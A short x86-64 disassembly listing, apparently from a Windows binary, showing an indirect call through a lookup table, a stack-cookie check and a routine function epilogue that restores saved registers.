movzx eax, word [rax + r11*2]
mov edx, dword [rdx + rax*4]
add rdx, rbx
mov rcx, r15
call rdx
nop
mov rcx, qword [rsp + 0x70]
call fcn.1400044c0
nop
mov rcx, qword [rsp + 0x78]
call fcn.1400044c0
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140073450
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret